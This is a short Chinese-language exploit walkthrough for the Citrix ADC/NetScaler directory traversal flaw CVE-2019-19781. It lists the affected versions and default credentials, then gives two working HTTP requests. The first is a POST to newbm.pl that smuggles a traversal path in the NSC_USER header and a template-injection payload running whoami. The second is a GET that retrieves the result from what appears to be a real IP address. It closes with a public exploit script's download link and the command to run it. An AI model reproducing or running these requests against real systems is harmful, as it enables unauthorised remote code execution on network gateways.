漏洞原因:
Citrix ADC(NetScalers)中的目錄穿越錯誤,這個錯誤會調用perl腳本,perl腳本用於將XML格式的文件附加到受害計算機,因此產生遠程執行代碼。
注:Citrix NetScaler ADC應用交付控制器和Citrix NetScaler網關。
漏洞影響范圍:
Citrix NetScaler ADC and NetScaler Gateway version 10.5
Citrix ADC and NetScaler Gateway version 11.1 , 12.0 , 12.1
Citrix ADC and Citrix Gateway version 13.0
漏洞利用過程:
1.pl文件未對NSC_USER參數傳入進行過濾
2.觸發目錄穿越
3.在模板目錄的XML文件寫入命令
4.模板引擎分析后執行命令
漏洞復現:
方法一:
訪問 https://target-ip 或 http://target-ip
登錄系統,默認用戶和密碼登錄:nsroot/nsroot
利用目錄穿越寫入命令語句到newbm.pl文件中
數據包:
POST /vpns/portal/scripts/newbm.pl HTTP/1.1 Host: target-ip Connection: close Accept-Encoding: gzip, deflate Accept: */* User-Agent: python-requests/2.23.0 NSC_NONCE: nsroot NSC_USER: ../../../netscaler/portal/templates/15ffbdca Content-Length: 89 url=http://example.com&title=15ffbdca&desc=[% template.new('BLOCK' = 'print `whoami`') %]
GET方式訪問寫入的xml文件
數據包:
GET /vpns/portal/15ffbdca.xml HTTP/1.1 Host: 50.202.211.151 Connection: close Accept-Encoding: gzip, deflate Accept: */* User-Agent: python-requests/2.23.0 NSC_NONCE: nsroot NSC_USER: nsroot
方法二:
EXP下載地址:https://codeload.github.com/jas502n/CVE-2019-19781/zip/master
python CVE-2019-19781-Citrix-ADC-Remote-Code-Execution.py https://target-ip
提示http代理錯誤,看了下exp代碼,需要設置本地代理。
文件上傳成功,成功執行命令:ls